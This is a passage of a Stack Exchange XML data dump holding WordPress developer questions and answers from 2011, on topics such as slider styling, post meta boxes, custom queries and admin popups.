  <row Id="25509" PostTypeId="2" ParentId="25505" CreationDate="2011-08-10T06:21:49.840" Score="1" ViewCount="" Body="&lt;p&gt;I forget exactly if the plugin slug is a reliable method to get the url, it might be in most cases but not all due to how plugins are named.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can query the api @wordpress.org for the plugins xml file which also contains the download link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plugin_slug = 'akismet'; &#xA;$return_plugin_info = &quot;http://api.wordpress.org/plugins/info/1.0/$plugin_slug.xml&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will return an XML file you can parse for the download link, which is in &lt;code&gt;&amp;lt;download_link type=&quot;string&quot;&amp;gt;the link...akismet.zip&amp;lt;/download&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-10T06:21:49.840" />
  <row Id="25510" PostTypeId="1" AcceptedAnswerId="25515" CreationDate="2011-08-10T06:39:06.590" Score="-1" ViewCount="29" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://nivo.dev7studios.com/&quot; rel=&quot;nofollow&quot;&gt;nivo slider&lt;/a&gt; in one of my website, the slider looks perfect in Firefox, but in IE 7, 8 its height is increased upto 1006px, the slider works, but the height has increased a lot, I have deactivated all the plugins, still its viewing the same, but in my localhost it works in IE also, but I cant differentiate the actual problem in it, here is the site &lt;a href=&quot;http://www.marqueehireauckland.net.nz/&quot; rel=&quot;nofollow&quot;&gt;http://www.marqueehireauckland.net.nz/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me in this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My nivo slider code is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery-1.6.1.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/js/jquery.nivo.slider.pack.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(window).load(function() {&#xA;        jQuery('#slider').nivoSlider();&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;div style=&quot;margin-top:-75px;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;slider-wrapper theme-default&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;ribbon&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;slider&quot; class=&quot;nivoSlider&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/header.jpg&quot; alt=&quot;&quot; width=&quot;1002&quot;/&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/header1.jpg&quot; alt=&quot;&quot; width=&quot;1002&quot; /&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/header2.jpg&quot; alt=&quot;&quot; width=&quot;1002&quot;/&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/header4.jpg&quot; alt=&quot;&quot; width=&quot;1002&quot;/&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/images/header5.jpg&quot; alt=&quot;&quot; width=&quot;1002&quot;/&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I have fixed this. &#xA;Thank you&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2011-08-10T08:35:25.847" LastActivityDate="2011-08-10T08:46:39.777" Title="Jquery in IE, fully messed up" Tags="&lt;jquery&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="25511" PostTypeId="1" AcceptedAnswerId="25516" CreationDate="2011-08-10T06:43:52.357" Score="0" ViewCount="23" Body="&lt;p&gt;I have a custom field. I would like to change the text of that custom field after x days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( published post is more than 90 days old ) {&#xA;    echo &quot;your post is more than 90 days old&quot;; &#xA;}&#xA;else {&#xA;    echo &quot;your post is less than 90 days old&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me to achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-10T08:47:51.383" Title="How to change a meta value (of a published post) after X days.?" Tags="&lt;functions&gt;&lt;wp-admin&gt;&lt;metabox&gt;&lt;date-time&gt;" AnswerCount="1" />
  <row Id="25512" PostTypeId="1" AcceptedAnswerId="25513" CreationDate="2011-08-10T07:29:22.487" Score="0" ViewCount="34" Body="&lt;p&gt;Probably it can by reverse engineering, but is there any easier way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="5668" LastActivityDate="2011-08-10T08:45:58.503" Title="How to Display Wordpress Plugins in Normal Website (Without Wordpress)?" Tags="&lt;plugins&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25513" PostTypeId="2" ParentId="25512" CreationDate="2011-08-10T07:53:11.753" Score="3" ViewCount="" Body="&lt;p&gt;Quite simply put there is no easy way to make a plugin that's made for WordPress to work without WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of effort to convert a plugin is dependant on the complexity of the plugin and on how much it integrates with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most plugins will make use of native WP functions, DB tables, hooks and filters. There is a lot there that you would have to consider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way you look at it any plugin to make it work standalone would require a lot of time coding, to be honest I just wouldn't bother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would be better finding scripts that work standalone and do the functions you are after or build one from scratch for your needs.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-10T07:53:11.753" CommentCount="1" />
  <row Id="25514" PostTypeId="2" ParentId="25512" CreationDate="2011-08-10T08:45:58.503" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;If you want to contribute a free plugin - than it would be better to upload your plugin into WordPress svn repo because users can update the plugin automatically from dashboard.&lt;/li&gt;&#xA;&lt;li&gt;If you want to take money for your plugin - than you have to create special site for this (like &lt;a href=&quot;http://wpml.org/&quot; rel=&quot;nofollow&quot;&gt;http://wpml.org/&lt;/a&gt;). The problem is that users could not upgrade automatic - they should update the plugin manually.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7786" LastActivityDate="2011-08-10T08:45:58.503" />
  <row Id="25515" PostTypeId="2" ParentId="25510" CreationDate="2011-08-10T08:46:39.777" Score="0" ViewCount="" Body="&lt;p&gt;After a long debugging, I found that the class &lt;code&gt;.nivoSlider&lt;/code&gt; was not having a definite height, so I gave a height &lt;code&gt;height:288px !important;&lt;/code&gt; and woila, it worked,&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-08-10T08:46:39.777" />
  <row Id="25516" PostTypeId="2" ParentId="25511" CreationDate="2011-08-10T08:47:51.383" Score="1" ViewCount="" Body="&lt;p&gt;You shouldn't need to use a meta field for this logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the loop &lt;code&gt;$post-&amp;gt;post_date&lt;/code&gt; holds when the post is published. From there you can determine if the date is 90 days old:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$datetime = strtotime($post-&amp;gt;post_date);&#xA;if( $datetime &amp;lt; ( time() - ( 60 * 60 * 24 * 90 ) ) ) {&#xA;    echo &quot;&amp;gt; 90 days old&quot;&#xA;} else {&#xA;    echo &quot;&amp;lt; 90 days old&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-10T08:47:51.383" CommentCount="2" />
  <row Id="25517" PostTypeId="1" CreationDate="2011-08-10T09:41:38.863" Score="-1" ViewCount="17" Body="&lt;p&gt;I have this code on a custom menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;  &amp;lt;?php wp_nonce_field('update-options') ?&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_one]&quot; value=&quot;1&quot;&amp;lt;?php checked( 1 == $options['option_one'] ); ?&amp;gt; /&amp;gt;&#xA;  &amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_two]&quot; value=&quot;1&quot;&amp;lt;?php checked( 1 == $options['option_two'] ); ?&amp;gt; /&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;Submit&quot; value=&quot;Update Options&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;update&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;page_options&quot; value=&quot;logoimageheight&quot; /&amp;gt;&#xA; &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All i want is to dispaly some checkboxes and save it as a global custom field.&#xA;When im hitting submit my choice is not stored  , what am i doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Lior&lt;/p&gt;&#xA;" OwnerUserId="7787" LastActivityDate="2011-08-10T16:03:08.897" Title="Checkbox on a custom menu" Tags="&lt;custom-field&gt;&lt;customization&gt;&lt;metabox&gt;&lt;global&gt;" AnswerCount="1" />
  <row Id="25518" PostTypeId="1" CreationDate="2011-08-10T10:09:30.647" Score="0" ViewCount="9" Body="&lt;p&gt;Is it possible to have date based permalinks for a custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie &lt;a href=&quot;http://www.blah.com/taxonomy/taxonomy-term/2011/08/08&quot; rel=&quot;nofollow&quot;&gt;http://www.blah.com/taxonomy/taxonomy-term/2011/08/08&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA!&#xA;d.&lt;/p&gt;&#xA;" OwnerUserId="7788" LastActivityDate="2011-08-10T10:09:30.647" Title="Date archive permalinks for custom taxonomy" Tags="&lt;taxonomy&gt;&lt;archive&gt;&lt;date&gt;" />
  <row Id="25519" PostTypeId="1" CreationDate="2011-08-10T10:33:38.793" Score="0" ViewCount="86" Body="&lt;p&gt;I'm trying to allow users to add meta values in my posts but it doesn't seem to be adding it in my front end post edit&#xA;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- edit Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;edit_post&quot; name=&quot;edit_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; name=&quot;description&quot; &amp;gt;&amp;lt;?php echo $post_to_edit-&amp;gt;post_content; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;!-- wine Rating --&amp;gt;&#xA;&amp;lt;fieldset class=&quot;data&quot;&amp;gt;&#xA;          &amp;lt;label for=&quot;data&quot;&amp;gt;data&amp;lt;/label&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;data&quot; size=&quot;60&quot; tabindex=&quot;20&quot; name=&quot;data&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Edit&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;edit_post&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;pid&quot; value=&quot;&amp;lt;?php echo $post_to_edit-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'edit-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;edit_post&quot; &amp;amp;&amp;amp; isset($_POST['pid'])) {&#xA;$the_post = get_post($_POST['pid']); &#xA;&#xA;&#xA;$the_post = array(); &#xA;$the_post['post_content'] = $_POST['description'];&#xA;$the_post['data'] = array($_POST['data']);&#xA;&#xA;add_post_meta($pid, 'rating', $the_post['data'], true);&#xA;&#xA;  $pid = wp_update_post($the_post); &#xA;&#xA;&#xA;  $link = get_permalink( $pid );&#xA;  wp_redirect($link);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't seem to get it to work for the front end editing I'm pretty sure I'm doing it wrong help...&lt;/p&gt;&#xA;" OwnerUserId="7715" LastActivityDate="2011-08-11T16:37:19.260" Title="add post meta front end edit" Tags="&lt;post-meta&gt;&lt;add-meta-box&gt;&lt;post-editor&gt;&lt;frontend&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="25520" PostTypeId="1" AcceptedAnswerId="25602" CreationDate="2011-08-10T10:40:23.557" Score="0" ViewCount="29" Body="&lt;p&gt;There is the situation.&#xA;I have created the custom post type - products withfuncionality like pages - I have to create hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f.e:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Chairs:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Oak Chair&lt;/li&gt;&#xA;&lt;li&gt;Nice Chair&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The weird thing happens with wp_nav_menu(). When I open the first level page Chairs and display all the Chairs childrens in theme, the nav menu for the  li item Products, gets the .current-menu-item class, but when I open the child page f.e. Oak Chair, the class disapears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that and how to set .current-menu-item class also when child page is opened?&lt;/p&gt;&#xA;" OwnerUserId="5878" LastEditorUserId="5878" LastEditorDisplayName="" LastEditDate="2011-08-10T10:46:05.590" LastActivityDate="2011-08-11T02:33:11.347" Title=".current-menu-item class on custom post type children pages" Tags="&lt;posts&gt;&lt;customization&gt;&lt;type&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25521" PostTypeId="1" CreationDate="2011-08-10T11:28:19.270" Score="1" ViewCount="21" Body="&lt;p&gt;I'm trying to build a wp plugin, which will basically add some text for every post, in the post itself, I'm afraid that the codex is too large for me to even know what to look for, so I'd appreciate if someone could point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: As per request, the info should be added to the post's text on the database, at the end of the post, it's not static, it's a random embed from a tube site, based on a query I run on the tubesite.&lt;/p&gt;&#xA;" OwnerUserId="7760" LastEditorUserId="7760" LastEditorDisplayName="" LastEditDate="2011-08-10T13:39:45.317" LastActivityDate="2011-08-10T13:41:55.693" Title="Adding more text to a post, after it was published" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25522" PostTypeId="2" ParentId="25478" CreationDate="2011-08-10T11:44:20.140" Score="3" ViewCount="" Body="&lt;p&gt;Your code make no sense, anyway here is a nice way to do it and you get:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/xDd5n.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function Print_price_fileds($cnt, $p = null) {&#xA;if ($p === null){&#xA;    $a = $b = $c = '';&#xA;}else{&#xA;    $a = $p['n'];&#xA;    $b = $p['d'];&#xA;    $c = $p['p'];&#xA;}&#xA;return  &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;li&amp;gt;&#xA;    &amp;lt;label&amp;gt;Nr :&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;price_data[$cnt][n]&quot; size=&quot;10&quot; value=&quot;$a&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;Description :&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;price_data[$cnt][d]&quot; size=&quot;50&quot; value=&quot;$b&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;Price :&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;price_data[$cnt][p]&quot; size=&quot;20&quot; value=&quot;$c&quot;/&amp;gt;&#xA;    &amp;lt;span class=&quot;remove&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;HTML&#xA;;&#xA;}&#xA;&#xA;&#xA;//add custom field - price&#xA;add_action(&quot;add_meta_boxes&quot;, &quot;object_init&quot;);&#xA;&#xA;function object_init(){&#xA;  add_meta_box(&quot;price_meta_id&quot;, &quot;Price fields :&quot;,&quot;price_meta&quot;, &quot;post&quot;, &quot;normal&quot;, &quot;low&quot;);&#xA;&#xA;}&#xA;&#xA;function price_meta(){&#xA; global $post;&#xA;&#xA;  $data = get_post_meta($post-&amp;gt;ID,&quot;price_data&quot;,true);&#xA;  echo '&amp;lt;div&amp;gt;';&#xA;  echo '&amp;lt;ul id=&quot;price_items&quot;&amp;gt;';&#xA;  $c = 0;&#xA;    if (count($data) &amp;gt; 0){&#xA;        foreach((array)$data as $p ){&#xA;            if (isset($p['p']) || isset($p['d'])|| isset($p['n'])){&#xA;                echo Print_price_fileds($c,$p);&#xA;                $c = $c +1;&#xA;            }&#xA;        }&#xA;&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    ?&amp;gt;&#xA;        &amp;lt;span id=&quot;here&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;add&quot;&amp;gt;&amp;lt;?php echo __('Add Price Data'); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;script&amp;gt;&#xA;            var $ =jQuery.noConflict();&#xA;                $(document).ready(function() {&#xA;                var count = &amp;lt;?php echo $c; ?&amp;gt;;&#xA;                $(&quot;.add&quot;).click(function() {&#xA;                    count = count + 1;&#xA;                    //$('#price_items').append('&amp;lt;li&amp;gt;&amp;lt;label&amp;gt;Nr :&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;price_data[' + count + '][n]&quot; size=&quot;10&quot; value=&quot;&quot;/&amp;gt;&amp;lt;label&amp;gt;Description :&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;price_data[' + count + '][d]&quot; size=&quot;50&quot; value=&quot;&quot;/&amp;gt;&amp;lt;label&amp;gt;Price :&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;price_data[' + count + '][p]&quot; size=&quot;20&quot; value=&quot;&quot;/&amp;gt;&amp;lt;span class=&quot;remove&quot;&amp;gt;Remove&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;');&#xA;                   $('#price_items').append('&amp;lt;? echo implode('',explode(&quot;\n&quot;,Print_price_fileds('count'))); ?&amp;gt;'.replace(/count/g, count));&#xA;                    return false;&#xA;                });&#xA;                $(&quot;.remove&quot;).live('click', function() {&#xA;                    $(this).parent().remove();&#xA;                });&#xA;            });&#xA;        &amp;lt;/script&amp;gt;&#xA;        &amp;lt;style&amp;gt;#price_items {list-style: none;}&amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php&#xA;    echo '&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;&#xA;//Save product price&#xA;add_action('save_post', 'save_detailss');&#xA;&#xA;function save_detailss($post_id){ &#xA;global $post;&#xA;&#xA;&#xA;    // to prevent metadata or custom fields from disappearing... &#xA;    if ( defined('DOING_AUTOSAVE') &amp;amp;&amp;amp; DOING_AUTOSAVE ) &#xA;    return $post_id; &#xA;    // OK, we're authenticated: we need to find and save the data&#xA;    if (isset($_POST['price_data'])){&#xA;        $data = $_POST['price_data'];&#xA;        update_post_meta($post_id,'price_data',$data);&#xA;    }else{&#xA;        delete_post_meta($post_id,'price_data');&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-10T20:32:31.460" LastActivityDate="2011-08-10T20:32:31.460" CommentCount="3" />
  <row Id="25523" PostTypeId="1" CreationDate="2011-08-10T12:08:05.677" Score="0" ViewCount="50" Body="&lt;p&gt;I'm creating a new page in WordPress admin for a theme. In this new page will be a list of people registered (in a form), but with few details / information. So when a person clicks on something, I would like to open a &quot;pop-up&quot; (with all information) but not display this popup/page in the menus of the WordPress administration. Is there any way?&lt;/p&gt;&#xA;" OwnerUserId="3575" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-10T13:13:36.377" LastActivityDate="2011-08-10T13:36:59.437" Title="Create a admin page in wordpress without admin menus (&quot;wordpress sidebars&quot;)" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;admin-menu&gt;" AnswerCount="2" />
  <row Id="25524" PostTypeId="1" CreationDate="2011-08-10T12:19:44.493" Score="0" ViewCount="9" Body="&lt;p&gt;added custom fields for the media edit form so users can select a thumbnail for video. All that's working fine but how can i get the default video icon on this page and in the media library to use this thumb instead of the default video icon?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;default is &lt;a href=&quot;http://sandbox.modernactivity.co.uk/waspface_wp/wp-includes/images/crystal/video.png&quot; rel=&quot;nofollow&quot;&gt;http://sandbox.modernactivity.co.uk/waspface_wp/wp-includes/images/crystal/video.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-08-10T12:19:44.493" Title="change video icons to selected thumbnail?" Tags="&lt;media-library&gt;&lt;videos&gt;&lt;icon&gt;" />
  <row Id="25525" PostTypeId="2" ParentId="4573" CreationDate="2011-08-10T12:23:56.300" Score="0" ViewCount="" Body="&lt;p&gt;jwplayer is good for this;&#xA;&lt;a href=&quot;http://www.longtailvideo.com/support/jw-player/jw-player-for-flash-v5/15995/jw-embedder-reference-guide#levels&quot; rel=&quot;nofollow&quot;&gt;http://www.longtailvideo.com/support/jw-player/jw-player-for-flash-v5/15995/jw-embedder-reference-guide#levels&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;upload 1 or more different versions of a video and it will detect the users' speed and select the appropriate quality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also breaks down into html 5 for iphone/ipads too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(try and avoid their wp plugin though as we've found it a bit dodgy and built it the player directly in our template)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dc&lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-08-10T12:23:56.300" />
  <row Id="25527" PostTypeId="1" AcceptedAnswerId="25541" CreationDate="2011-08-10T12:47:21.340" Score="0" ViewCount="59" Body="&lt;p&gt;I have a custom post type of 'events' which has a meta key 'event_date'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im using the following to retrieve those posts and arrange them by 'event_date'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        global $wpdb;&#xA;        $today = date('Y/m/d', strtotime(&quot;now&quot;));&#xA;        $events = $wpdb-&amp;gt;get_results(&quot;SELECT &#xA;                                            posts.id, posts.post_title, meta.meta_value &#xA;                                        FROM &#xA;                                            {$wpdb-&amp;gt;prefix}postmeta as meta&#xA;                                        LEFT JOIN &#xA;                                            {$wpdb-&amp;gt;prefix}posts as posts &#xA;                                        ON &#xA;                                            (meta.post_id = posts.id) &#xA;                                        WHERE&#xA;                                            (meta.meta_key = 'event_date' &#xA;                                        AND&#xA;                                            meta.meta_value &amp;gt;= '{$today}'&#xA;                                        AND&#xA;                                            posts.post_status='publish' and posts.post_date &amp;lt; NOW())&#xA;                                        ORDER BY &#xA;                                            meta.meta_value&#xA;                                    &quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above works fine however i would like to show 'events' from only certain categories (say category id '5'). How can i modify the query to achive this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="7791" LastActivityDate="2011-08-10T15:12:40.600" Title="Wordpress $wpdb get posts from category and sort by custom meta" Tags="&lt;mysql&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25528" PostTypeId="1" CreationDate="2011-08-10T12:56:47.117" Score="-1" ViewCount="26" Body="&lt;p&gt;I want to create a new website with reversed pagination (I mean latest post is found in last page , while oldest one is found in first page)&#xA;I could do that already with &quot;Default Sort Ascend&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what I want is to set front page to be the last page of a specific category (even with redirection) ... ANY HELP ??&lt;/p&gt;&#xA;" OwnerUserId="7305" LastActivityDate="2011-08-10T13:10:39.050" Title="Set home page to last page of a certain category" Tags="&lt;home&gt;" AnswerCount="1" />
  <row Id="25529" PostTypeId="2" ParentId="25528" CreationDate="2011-08-10T13:10:39.050" Score="0" ViewCount="" Body="&lt;p&gt;you can use the &lt;code&gt;per_get_posts&lt;/code&gt; filter hook to change the order of the query something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_posts', 'filter_homepage_posts_order');&#xA;function filter_homepage_posts_order($query) {&#xA;    //only run is current page is home page&#xA;    if ($query-&amp;gt;is_home) {&#xA;        $limit_number_of_posts = 5; //number of posts &#xA;        $featured_category_id = get_cat_id('Reviews'); // by cat name...&#xA;        $query-&amp;gt;set('cat', $featured_category_id);&#xA;        $query-&amp;gt;set('posts_per_page', $limit_number_of_posts);&#xA;        $query-&amp;gt;set('order','DESC')&#xA;    }&#xA;  return $query;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-10T13:10:39.050" CommentCount="4" />
  <row Id="25531" PostTypeId="2" ParentId="25523" CreationDate="2011-08-10T13:36:20.977" Score="0" ViewCount="" Body="&lt;p&gt;I would think you could add a css class to the body of that new admin page using a wordpress filter, then use css to hide the unwanted items within the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/questions/2466073/add-a-custom-class-name-to-wordpress-body-tag&quot;&gt;http://stackoverflow.com/questions/2466073/add-a-custom-class-name-to-wordpress-body-tag&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2506" LastActivityDate="2011-08-10T13:36:20.977" CommentCount="2" />
  <row Id="25532" PostTypeId="2" ParentId="25523" CreationDate="2011-08-10T13:36:59.437" Score="1" ViewCount="" Body="&lt;p&gt;You can use the built in ThickBox to display the popup by Ajax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//first add thickbox to your page&#xA;function add_thickbox(){&#xA;    if(is_admin() &amp;amp;&amp;amp; (isset($_GET['page']) &amp;amp;&amp;amp; $_GET['page'] == &quot;my-plugin-file.php&quot;) { &#xA;    wp_enqueue_script('jquery');&#xA;    wp_enqueue_script('thickbox',null,array('jquery'));&#xA;    wp_enqueue_style('thickbox.css', '/'.WPINC.'/js/thickbox/thickbox.css', null, '1.0');&#xA;    }&#xA;}&#xA;add_action('wp_enqueue_script','add_thickbox');&#xA;&#xA;&#xA;//then in your user list for each user you add the thickbox &#xA;//popup on the onclick and pass the info needed (like user id) so eg:&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;!-- for each user add --&amp;gt;&#xA; &amp;lt;a class=&quot;thickbox&quot; onclick=&quot;javascript: show_user_info(user_id)&quot;&amp;gt;user name&amp;lt;/a&amp;gt;&#xA;&amp;lt;!-- and then add this function once --&amp;gt; &#xA;&amp;lt;script&amp;gt;&#xA;function show_user_info(user_id){&#xA;    var aj_url = 'admin-ajax.php?action=my_get_user_info&amp;amp;user_id=' + user_id;&#xA;    tb_show('userinfo',aj_url );&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;?php &#xA;//so all you have left is to create the ajax processing function :&#xA;add_action('wp_ajax_my_get_user_info', 'my_AJAX_processing_function');&#xA;function my_AJAX_processing_function(){&#xA;    //echo user info &#xA;    //and remember to die;  